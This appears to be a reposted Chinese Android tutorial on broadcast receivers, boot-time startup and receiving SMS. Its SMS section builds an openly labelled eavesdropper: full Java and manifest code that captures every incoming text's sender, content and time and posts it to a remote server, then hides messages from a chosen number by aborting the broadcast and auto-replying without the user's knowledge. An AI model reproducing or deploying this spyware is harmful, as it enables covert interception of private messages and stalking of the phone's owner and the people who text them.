接受和发送广播------开机启动和接收短信

来源:互联网 发布:lol训练软件 编辑:程序博客网 时间:2024/05/16 17:07
 Intent不仅可以启动应用程序内部或其他应用程序的Activity,还可以发送广播动作(Broadcast Action)。Broadcast Action和Activity Action一样,既可以由系统负责广播,也可以自己的应用程序负责广播。当开机自动启动某个程序,就是Android向整个系统发送Broadcast Action,如果系统接收到Broadcast Action,就可以完成相应的程序。

一个BroadcastReceiver的对象仅仅在调用onReceiver(COntext, Intent)的时间中有效。 

接受系统广播需要两步:

(1)                 编写一个可以继承android.content.BroadcastReceiver的类,并实现BroadcastReceiver类中的onReceiver方法。

(2)                 在AndroidMainfest.xml文件中使用<receiver>标签来指定 (1)步骤中编写的接收系统广播的类可以接受哪个Broadcast Action。

注意:如果你实在Activity.onResume()方法中注册的一个receiver,那么你必须在Activity.onPause()方法中进行注销。(当一个activity处于暂停状态是不会接收intents的,并且这样做也可以减小系统不必要的开销)。不要在Activity.onSaveInstanceState()方法中注销receiver,因为activity从栈中恢复的时候并不会调用这个方法了。

 

订阅广播:

IntentFilter filter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");

IncomingSMSReceiver receiver = new IncomingSMSReceiver();

registerReceiver(receiver, filter);

 

<receiver android:name="MySMSListener">

   <intent-filter>

       <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

   </intent-filter>

</receiver>

 

开机启动

要实现开机启动的功能,需要的系统广播为:android.intent.action.BOOT_COMPLETED.

反复重启模拟器,会发现模拟器在启动后总是会先运行这个程序。

 

接收短信

服务器(videoweb):

1.修改formbean: VideoForm中增加短信的时间、内容和发送者属性

2.VideoManageAction中增加方法getSMS来获取窃听器发送的短消息

 

public ActionForward getSMS(ActionMapping mapping, ActionForm form,

                       HttpServletRequest request, HttpServletResponse response)

                       throws Exception {

     VideoForm formbean = (VideoForm)form;

     System.out.println("发送时间:"+ formbean.getTime());

     System.out.println("谁给她发的短信:"+ formbean.getSender());

     System.out.println("内容:"+ formbean.getContent());

     return mapping.findForward("result");

}

 

客户端SMS_Listener

1、  清单文件

中订阅广播

<receiver android:name=".MySMSListener">

  <intent-filter>

      <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

 </intent-filter>

</receiver>

添加短信接收权限,访问网络权限

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

2、 客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。

public class MySMSListener extends BroadcastReceiver {

 

     public void onReceive(Context context, Intent intent) {

 

              Object[] pdus = (Object[]) intent.getExtras().get("pdus");

 

              if (pdus != null && pdus.length > 0) {

                       SmsMessage[] messages = new SmsMessage[pdus.length];

 

                       for (int i = 0; i < messages.length; i++) {

                                 byte[] pdu = (byte[]) pdus[i];

                                 messages[i] = SmsMessage.createFromPdu(pdu);

                       }

 

                       for (SmsMessage msg : messages) {

                                 String content = msg.getMessageBody();

                                 String sender = msg.getOriginatingAddress();

                                Date date = new Date(msg.getTimestampMillis());

 

                                 SimpleDateFormat sdf = new SimpleDateFormat(

                                                   "yyyy-MM-dd HH:mm:ss");

                                

                                 String sendTime = sdf.format(date);

                                

                                 Map<String,String> param = new HashMap<String,String>();

                                

                                 param.put("method", "getSMS");

                                 param.put("sender", sender);

                                 param.put("content", content);

                                 param.put("time", sendTime);

                                

                                 String path =

"http://192.168.1.100:8080/videoweb/video/manage.do";

                                 try {

                                          SocketHttpRequester.post(path, param, "UTF-8");

                                 } catch (Exception e) {

                                          Log.e("TAG",e.toString());

                                 }

                       }

              }

     }

}

3、进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复。

添加短信发送权限:

<uses-permission android:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代码如下:

 

String sendContent = sdf.format(date) + ":" + sender + "--"+ content;

Log.i("TAG",sendContent);

 

if(sender!= null && sender.endsWith("5556")){//5556".equals(sender)){

     SmsManager smsManager = SmsManager.getDefault();

     smsManager.sendTextMessage("5556",null,"game over",null,null);

     this.abortBroadcast(); //终止广播

}

原创粉丝点击